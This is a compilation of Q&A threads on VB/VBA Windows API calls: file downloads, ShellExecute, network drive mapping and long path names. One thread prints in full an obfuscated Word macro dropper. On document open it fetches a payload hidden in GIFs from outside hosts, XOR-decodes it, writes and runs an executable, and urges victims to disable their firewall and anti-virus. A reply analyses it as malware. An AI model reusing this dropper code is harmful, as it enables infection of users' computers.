Is it possible to save images using Visual Basic 2008 from URL to my PC?
For example : From www.domain.com/image.jpg to C:\folder\image.jpg
P.S: I need simpliest example of the code, then I will edit is as I need.
Thanks.
Update : I want to know when the code have finished downloading of the image.
This is the simplest way I know.
Dim Client as new WebClient
Client.DownloadFile(Source, Destination)
Client.Dispose
This is superior to using the My.Computer.Network.DownloadFile method per Microsoft's documentation
"The DownloadFile method does not send optional HTTP headers. Some servers may return 500 (Internal Server Error) if the optional user agent header is missing. To send optional headers, you must construct a request using the WebClient class."
There's a simpler way:
My.Computer.Network.DownloadFile(Source, Desination)
Here what i came up with.
Public Function getImgFrmUrl(ByVal url As String, ByVal Optional ImageName As String = "", ByVal Optional DstntnPath As String = "c:\") As String
Dim imgPath = DstntnPath & "\"
Dim name = IIf(ImageName.Length = 0, Guid.NewGuid.ToString, ImageName)
Dim fileExt = Path.GetExtension(url)
Using webClient As WebClient = New WebClient
Const _Tls12 As SslProtocols = CType(&HC00, SslProtocols)
Const Tls12 As SecurityProtocolType = CType(_Tls12, SecurityProtocolType)
ServicePointManager.SecurityProtocol = Tls12
Dim data As Byte() = webClient.DownloadData(url)
If File.Exists(imgPath + name & fileExt) Then File.Delete(imgPath + name & fileExt)
Using mem = New MemoryStream(data)
Using yourImage = Image.FromStream(mem)
If fileExt.ToLower Is ".png" Then
yourImage.Save(imgPath + name & fileExt, ImageFormat.Png)
Else
yourImage.Save(imgPath + name & fileExt, ImageFormat.Jpeg)
End If
End Using
End Using
End Using
Return imgPath & name & fileExt
End Function
create a module and use this function
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(sURLFile As String, sLocalFilename As String) As Boolean
Dim lRetVal As Long
lRetVal = URLDownloadToFile(0, sURLFile, sLocalFilename, 0, 0)
If lRetVal = 0 Then DownloadFile = True
End Function
Related
So I used the following code to open a Hyperlink from an email. This hyperlink opens the webpage and opens the download window to choose where to download a CSV and with what name (all of this is in Chrome). I want to be able to choose where said file will be downloaded and with what name. I would really appreciate the help :)
Private Declare PtrSafe Function ShellExecute _
Lib "shell32.dll" Alias "ShellExecuteA" ( _
ByVal hWnd As Long, _
ByVal Operation As String, _
ByVal Filename As String, _
Optional ByVal Parameters As String, _
Optional ByVal Directory As String, _
Optional ByVal WindowStyle As Long = vbMinimizedFocus _
) As Long
Public Sub OpenLinks(olMail As Outlook.MailItem)
Dim Reg1 As RegExp
Dim M1 As MatchCollection
Dim M As Match
Dim strURL As String
Dim lSuccess As Long
Set Reg1 = New RegExp
With Reg1
.Pattern = "(https?[:]//([0-9a-z=\?:/\.&-^!#$%;_])*)>"
.Global = False
.IgnoreCase = True
End With
If Reg1.Test(olMail.Body) Then
Set M1 = Reg1.Execute(olMail.Body)
For Each M In M1
strURL = M.SubMatches(0)
Debug.Print strURL
lSuccess = ShellExecute(0, "Open", strURL)
Next
End If
Set Reg1 = Nothing
Set oApp = Nothing
End Sub
I've looked in other sites, but couldn't find anything similar.
You can choose one of the following ways:
Use Windows API, see the URLDownloadToFile function:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
If Dir(LocalFileName) <> vbNullString Then
DownloadFile = True
End If
End If
End Function
Private Sub Form_Load()
If Not DownloadFile("http://www.test.come", "c:\\file.doc") Then
MsgBox "Unable to download the file, or the source URL doesn't exist."
End If
End Sub
Click buttons programmatically using Windows API functions, see VBA - Go to website and download file from save prompt for more infromation.
Trying to map a network drive letter.
Running code shown below.
See the last function, function xxx. That's my driver code. That's the one I am running.
Unmapping works.
Mapping doesn't work.
Always returns false, means that mapping is never succeeding.
User name, password, and path provided seem accurate.
Any ideas?
Here is the code:
Option Explicit
Private Const CONNECT_UPDATE_PROFILE = &H1
Private Const RESOURCE_CONNECTED As Long = &H1&
Private Const RESOURCE_GLOBALNET As Long = &H2&
Private Const RESOURCETYPE_DISK As Long = &H1&
Private Const RESOURCEDISPLAYTYPE_SHARE& = &H3
Private Const RESOURCEUSAGE_CONNECTABLE As Long = &H1&
Private Declare Function WNetCancelConnection2 Lib "mpr.dll" _
Alias "WNetCancelConnection2A" (ByVal lpName As String, ByVal dwFlags As Long, ByVal fForce As Long) As Long
Private Declare Function WNetAddConnection2 Lib "mpr.dll" _
Alias "WNetAddConnection2A" (lpNetResource As NETCONNECT, ByVal lpPassword As String, ByVal lpUserName As String, ByVal dwFlags As Long) As Long
Private Type NETCONNECT
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As String
lpRemoteName As String
lpComment As String
lpProvider As String
End Type
Public Function MapDrive(LocalDrive As String, _
RemoteDrive As String, Optional Username As String, _
Optional Password As String) As Boolean
' Example:
' MapDrive "Q:", "\\RemoteMachine\RemoteDirectory", "MyLoginName", "MyPassword"
Dim NetR As NETCONNECT
NetR.dwScope = RESOURCE_GLOBALNET
NetR.dwType = RESOURCETYPE_DISK
NetR.dwDisplayType = RESOURCEDISPLAYTYPE_SHARE
NetR.dwUsage = RESOURCEUSAGE_CONNECTABLE
NetR.lpLocalName = Left(LocalDrive, 1) & ":"
NetR.lpRemoteName = RemoteDrive
'Old code:
' MapDrive = (WNetAddConnection2(NetR, Username, Password, _
' CONNECT_UPDATE_PROFILE) = 0)
'Edited this question and updated this code due to good input by poster:
MapDrive = (WNetAddConnection2(NetR, Password, Username, _
CONNECT_UPDATE_PROFILE) = 0)
End Function
Public Function UnMapDrive(DriveLetter As String) As Boolean
Dim NetR As NETCONNECT
With NetR
.dwScope = RESOURCE_GLOBALNET
.dwType = RESOURCETYPE_DISK
.dwDisplayType = RESOURCEDISPLAYTYPE_SHARE
.dwUsage = RESOURCEUSAGE_CONNECTABLE
.lpLocalName = DriveLetter & ":"
.lpRemoteName = ""
End With
ChDrive ("C") ' Ensure that the drive letter to be dropped is not active
UnMapDrive = (WNetCancelConnection2(DriveLetter, CONNECT_UPDATE_PROFILE, True) = 0)
End Function
Here is the driver code:
Public Sub xxx()
Dim retval As String
retval = UnMapDrive("S:")
MsgBox retval
retval = MapDrive("S:", _
"\\AFHOUFILE02\User_Folders", _
"kmistry", "XXXXXX")
MsgBox retval
End Sub
You're passing the user ID and password in the incorrect order. In your definition:
Private Declare Function WNetAddConnection2 Lib "mpr.dll" _
Alias "WNetAddConnection2A" (lpNetResource As NETCONNECT, ByVal lpPassword As String, ByVal lpUserName As String, ByVal dwFlags As Long) As Long
And then in your call:
MapDrive = (WNetAddConnection2(NetR, Username, Password, _
CONNECT_UPDATE_PROFILE) = 0)
Based on the declaration, the password should precede the username.
Also, your unmap routine is doubling-up the colon on the drive, but it apparently must not be affecting the outcome since you said it's working.
I see a couple issues with your code and I think there's an easier, more reliable method of programmatically mapping a drive.
Try this method instead:
Public Function mapDrive(mdDrive As String, mdRoute As String, _
Optional mdUserName As String, Optional mdPassword As String) As Boolean
On Error GoTo catchErr
Dim mdMapRoute As String, WshNet As Object
Set WshNet = CreateObject("WScript.Network")
If mdUserName = "" Then
WshNet.MapNetworkDrive mdDrive, mdMapRoute
Else
If mdPassword = "" Then
WshNet.MapNetworkDrive mdDrive, mdMapRoute, , mdUserName
Else
WshNet.MapNetworkDrive mdDrive, mdMapRoute, , mdUserName, mdPassword
End If
End If
catchErr:
Set WshNet = Nothing
Select Case Err
Case 0
mapDrive = True
Case -2147024811 'Already mapped
mapDrive = True
Case Else
MsgBox "Error #" & Err & ": " & vbLf & Err.Description
mapDrive = False
End Select
End Function
Example Usage:
mapDrive "Q:", "\\server\path\sharename\"
More Information:
SmartBear : MapNetworkDrive Method
Lifewire : Working With the Universal Naming Convention (UNC Path)
ESRI Devnet : Pathnames explained: Absolute, relative, UNC, and URL
Wikipedia : Drive Mapping
I found a pretty good solution online that works well on the mapping.
Having trouble unmapping, BUT for me, mapping is more important than unmapping.
The code I already had before seemed to work well on the unmapping.
The combination of the two, gives you a complete solution, although right now, I am not going to take time to gather all that together...
Here it is, the code that worked very well on mapping. I hope readers benefit from it:
JUST COPY PASTE THIS INTO A NEW MODULE...:
#If Win64 Then
Declare PtrSafe Function WNetCancelConnection2 Lib "mpr.dll" Alias "WNetCancelConnection2A" (ByVal lpName As String, ByVal dwFlags As Long, ByVal fForce As Long) As Long
Declare PtrSafe Function WNetAddConnection2 Lib "mpr.dll" Alias "WNetAddConnection2A" (lpNetResource As NETCONNECT, ByVal lpPassword As String, ByVal lpUserName As String, ByVal dwFlags As Long) As Long
#Else
Declare Function WNetCancelConnection2 Lib "mpr.dll" Alias "WNetCancelConnection2A" (ByVal lpName As String, ByVal dwFlags As Long, ByVal fForce As Long) As Long
Declare Function WNetAddConnection2 Lib "mpr.dll" Alias "WNetAddConnection2A" (lpNetResource As NETCONNECT, ByVal lpPassword As String, ByVal lpUserName As String, ByVal dwFlags As Long) As Long
#End If
Const CONNECT_UPDATE_PROFILE As Long = &H1
Const RESOURCE_CONNECTED As Long = &H1
Const RESOURCE_GLOBALNET As Long = &H2
Const RESOURCETYPE_DISK As Long = &H1
Const RESOURCEDISPLAYTYPE_SHARE As Long = &H3
Const RESOURCEUSAGE_CONNECTABLE As Long = &H1
Type NETCONNECT
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As String
lpRemoteName As String
lpComment As String
lpProvider As String
End Type
Function MapNetworkDrive(ByVal driveLetter As String, ByVal UNC As String) As Boolean
Dim dl As String * 1
Dim nc As NETCONNECT
dl = UCase$(driveLetter)
nc.dwScope = RESOURCE_GLOBALNET
nc.dwType = RESOURCETYPE_DISK
nc.dwDisplayType = RESOURCEDISPLAYTYPE_SHARE
nc.dwUsage = RESOURCEUSAGE_CONNECTABLE
nc.lpLocalName = driveLetter & ":"
nc.lpRemoteName = UNC
MapNetworkDrive = (WNetAddConnection2(nc, vbNullString, vbNullString, CONNECT_UPDATE_PROFILE))
End Function
Function DisconnectNetworkDrive(driveLetter As String) As Boolean
Dim dl As String * 1
Dim nc As NETCONNECT
nc.dwScope = RESOURCE_GLOBALNET
nc.dwType = RESOURCETYPE_DISK
nc.dwDisplayType = RESOURCEDISPLAYTYPE_SHARE
nc.dwUsage = RESOURCEUSAGE_CONNECTABLE
nc.lpLocalName = driveLetter & ":"
nc.lpRemoteName = vbNullString
DisconnectNetworkDrive = Not (WNetCancelConnection2(dl, CONNECT_UPDATE_PROFILE, False))
End Function
Sample context to let stack over flow post this question.
Here he tries to combine its working for mac and windows I suppose.
#If VBA7 And Win64 Then
Private Declare PtrSafe Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
Private Declare PtrSafe Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare PtrSafe Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare PtrSafe Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Private Declare Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
Private Declare Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
this attacker seems to open this doc.
Sub Document_Open()
Dim wyqud As String
Dim zdwie As Long
Dim rufhd As Long
Dim bldos As Integer
Dim mufid() As Byte
#If Win64 Then
Dim kmvbf As LongLong
#Else
Dim kmvbf As Long
#End If
What is this doing?
ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100
Set myRange = ActiveDocument.Content
With myRange.Font
.Name = "Verdana"
.Size = 14
End With
ActiveDocument.Range.Text = "Check SSL certificate." & vbLf & " Please wait..."
Is this supposed to damage my computer?
DoEvents
DoEvents
DoEvents
DoEvents
wyqud = lwyfu
zdwie = Gshwjf(0, "http://adenzia.ch/_vti_cnf/bug.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
If zdwie <> 0 And rufhd < 152143 Then
zdwie = Gshwjf(0, "http://kingofstreets.de/class/meq.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
End If
If rufhd < 154743 Then
ActiveDocument.Content.Delete
MsgBox "No internet access. Turn off any firewall or anti-virus software and try again.", vbCritical, "Error"
Exit Sub
End If
bldos = FreeFile
Open wyqud For Binary As #bldos
ReDim mufid(0 To LOF(bldos) - 1)
Get #bldos, , mufid()
Close #bldos
Call duwif(mufid())
Dont know what this is doing
wyqud = Left(wyqud, Len(wyqud) - 3)
wyqud = wyqud & "exe"
bldos = FreeFile
Open wyqud For Binary As #bldos
Put #bldos, , mufid()
Close #bldos
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
ActiveDocument.Content.Delete
MsgBox "The file is corrupted and cannot be opened", vbCritical, "Error"
End Sub
cleverly written unreadable code.
Public Function lwyfu() As String
Dim djfie As String * 512
Dim pwifu As String * 576
Dim dwuf As Long
Dim wefkg As String
dwuf = Uhdwuud(512, djfie)
If (dwuf > 0 And dwuf < 512) Then
dwuf = Uhduiuwd(djfie, 0, 0, pwifu)
If dwuf <> 0 Then
wefkg = Left$(pwifu, InStr(pwifu, vbNullChar) - 1)
End If
lwyfu = wefkg
End If
End Function
another function
Public Sub duwif(mufid() As Byte)
Dim dfety As Long
Dim bvjwi As Long
Dim wbdys As Long
Dim dvywi(256) As Byte
Dim wdals As Long
Dim dwiqh As Long
bvjwi = UBound(mufid) + 1
For dfety = 10 To 265
dvywi(dfety - 10) = mufid(dfety)
Next
wdals = UBound(dvywi) + 1
dwiqh = 0
For dfety = 266 To (bvjwi - 267)
mufid(dfety - 266) = mufid(dfety) Xor dvywi(dwiqh)
dwiqh = dwiqh + 1
If dwiqh = (wdals - 1) Then
dwiqh = 0
End If
Next
ReDim Preserve mufid(bvjwi - 267)
End Sub
end of the macro
The comments are correct; the macro downloads malware/spyware and executes it.
It tries both GIF URLs (and even prompts the user to disable their firewall/AV if the download fails). The two GIFs are identical (same SHA256 checksum), they have the appropriate GIF header block ("GIF89a"), and they even have some of the bytes describing what should be the image data.
The macro uses the duwif() subroutine (line 105) to extract the executable binary from the downloaded GIF. It stores that binary in a temp file, the reference for which is created by the lwyfu() function (line 90).
The macro then executes the binary on line 82:
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
You can modify the macro to remove/comment the execution statement and insert something harmless. For example:
REM kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
MsgBox wyqud
This opens a message box with the path to the extracted binary instead of executing it.
The binary checksum is (SHA256)
55f4cc0f9258efc270aa5e6a3b7acde29962fe64b40c2eb36ef08a7a1369a5bd
Several anti-virus providers flag this file as malware and an automated analysis shows some suspicious behavior.
VirusTotal.com Report
Hybrid-Analysis.com Report
This used to work last week. I suspect a Windows update broke something. When using ShellExecute, it is forcing the URLs into lowercase, breaking parameter values passed to a case-sensitive server!
Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" ( _
ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
Optional ByVal lpParameters As String, _
Optional ByVal lpDirectory As String, _
Optional ByVal nShowCmd As Long _
) As Long
Sub OpenBrowser()
Let RetVal = ShellExecute(0, "open", "http://yaHOO.com?UPPERCASE=lowercase")
Will open http://www.yahoo.com/?uppercase=lowercase
Version
I'm using Windows 8.1. I tried it in 3 browsers. Lowercase in Chrome, lowercase in IE, and Opera chops off the query parameter, but the host is lowercase.
Ok I solved it by creating a temporary HTML file, finding the executable associated with that, then launching the executable directly with the URL. Sheesh.
Private Const SW_SHOW = 5 ' Displays Window in its current size and position
Private Const SW_SHOWNORMAL = 1 ' Restores Window if Minimized or Maximized
Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" ( _
ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
Optional ByVal lpParameters As String, _
Optional ByVal lpDirectory As String, _
Optional ByVal nShowCmd As Long _
) As Long
Private Declare Function FindExecutable Lib "shell32.dll" Alias "FindExecutableA" ( _
ByVal lpFile As String, _
ByVal lpDirectory As String, _
ByVal lpResult As String _
) As Long
Private Declare Function GetTempPath Lib "kernel32" _
Alias "GetTempPathA" ( _
ByVal nBufferLength As Long, _
ByVal lpBuffer As String) As Long
Private Declare Function GetTempFileName Lib "kernel32" _
Alias "GetTempFileNameA" ( _
ByVal lpszPath As String, _
ByVal lpPrefixString As String, _
ByVal wUnique As Long, _
ByVal lpTempFileName As String) As Long
Public Function GetTempFileNameVBA( _
Optional sPrefix As String = "VBA", _
Optional sExtensao As String = "") As String
Dim sTmpPath As String * 512
Dim sTmpName As String * 576
Dim nRet As Long
Dim F As String
nRet = GetTempPath(512, sTmpPath)
If (nRet > 0 And nRet < 512) Then
nRet = GetTempFileName(sTmpPath, sPrefix, 0, sTmpName)
If nRet <> 0 Then F = Left$(sTmpName, InStr(sTmpName, vbNullChar) - 1)
If sExtensao > "" Then
Kill F
If Right(F, 4) = ".tmp" Then F = Left(F, Len(F) - 4)
F = F & sExtensao
End If
GetTempFileNameVBA = F
End If
End Function
Sub Test_GetTempFileNameVBA()
Debug.Print GetTempFileNameVBA("BR", ".html")
End Sub
Private Sub LaunchBrowser()
Dim FileName As String, Dummy As String
Dim BrowserExec As String * 255
Dim RetVal As Long
Dim FileNumber As Integer
FileName = GetTempFileNameVBA("BR", ".html")
FileNumber = FreeFile ' Get unused file number
Open FileName For Output As #FileNumber ' Create temp HTML file
Write #FileNumber, "<HTML> <\HTML>" ' Output text
Close #FileNumber ' Close file
' Then find the application associated with it
RetVal = FindExecutable(FileName, Dummy, BrowserExec)
Kill FileName ' delete temp HTML file
BrowserExec = Trim(BrowserExec)
' If an application is found, launch it!
If RetVal <= 32 Or IsEmpty(BrowserExec) Then ' Error
MsgBox "Could not find associated Browser", vbExclamation, "Browser Not Found"
Else
RetVal = ShellExecute(0, "open", BrowserExec, "http://www.yaHOO.com?case=MATTERS", Dummy, SW_SHOWNORMAL)
If RetVal <= 32 Then ' Error
MsgBox "Web Page not Opened", vbExclamation, "URL Failed"
End If
End If
End Sub
Use FileProtocolHandler instead of ShellExecute:
Public Declare Function FileProtocolHandler Lib "url.dll" _
Alias "FileProtocolHandlerA" (ByVal hwnd As Long, ByVal hinst As Long, _
ByVal lpszCmdLine As String, ByVal nShowCmd As Long) As Long
Public Sub OpenHyperlink(ByVal Url)
FileProtocolHandler 0, 0, Url, 1
End Sub
With FileProtocolHandler, the lowercase conversion does not occur.
I have this problem under Windows 8.1, but not under Windows 7.
In my case using a temp ".html" file wasn't an option because those are linked to gedit so i can edit them.
I can't say if it works on the domain part, but i needed case sensitivity for the GET parameters.
I accomplished that by simple encoding everything in hex. Not just characters like "/" but everything.
I have a path in short version or in DOS format ("C:/DOCUME~1" e.g) and want to get the full path/long path of it ("C:/Documents And Settings" e.g).
I tried GetLongPathName api. It WORKED. But when deal with unicode filename it turns out failure.
Private Declare Function GetLongPathName Lib "kernel32" Alias _
"GetLongPathNameA" (ByVal lpszShortPath As String, _
ByVal lpszLongPath As String, ByVal cchBuffer As Long) As Long
I tried to alias GetLongPathNameW instead but it seems do nothing, for BOTH Unicode and non-Unicode filename, always return 0. In MSDN there's only article about GetLongPathNameW for C/C++, not any for VB/VBA. May I do something wrong?
Is there any solution for this case? I spend hours on Google and StackOverflow but can't find out.
Regards,
Does this work for you? I've converted the file path to short path name then converted it back again which gives the correct string even when unicode (eg C:/Tö+)
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" _
(ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal lBuffer As Long) As Long
Private Declare Function GetLongPathName Lib "kernel32" Alias "GetLongPathNameA" _
(ByVal lpszShortPath As String, ByVal lpszLongPath As String, ByVal cchBuffer As Long) As Long
Public Function GetShortPath(ByVal strFileName As String) As String
'KPD-Team 1999
'URL: [url]http://www.allapi.net/[/url]
'E-Mail: [email]KPDTeam#Allapi.net[/email]
Dim lngRes As Long, strPath As String
'Create a buffer
strPath = String$(165, 0)
'retrieve the short pathname
lngRes = GetShortPathName(strFileName, strPath, 164)
'remove all unnecessary chr$(0)'s
GetShortPath = Left$(strPath, lngRes)
End Function
Public Function GetLongPath(ByVal strFileName As String) As String
Dim lngRes As Long, strPath As String
'Create a buffer
strPath = String$(165, 0)
'retrieve the long pathname
lngRes = GetLongPathName(strFileName, strPath, 164)
'remove all unnecessary chr$(0)'s
GetLongPath = Left$(strPath, lngRes)
End Function
Private Sub Test()
shortpath = GetShortPath("C:/Documents And Settings")
Longpath = GetLongPath(shortpath)
End Sub
To use W-functions from vb6/vba, you declare all string parameters as long:
Private Declare Function GetLongPathName Lib "kernel32" Alias "GetLongPathNameW" _
(ByVal lpszShortPath As Long, _
ByVal lpszLongPath As Long, _
ByVal cchBuffer As Long) As Long
and pass StrPtr(a_string) instead of just a_string.
So if you had:
dim s_path as string
dim l_path as string
s_path = "C:\DOCUME~1"
l_path = string$(1024, vbnullchar)
GetLongPathNameA s_path, l_path, len(l_path)
it would become
dim s_path as string
dim l_path as string
s_path = "C:\DOCUME~1"
l_path = string$(1024, vbnullchar)
GetLongPathNameW strptr(s_path), strptr(l_path), len(l_path)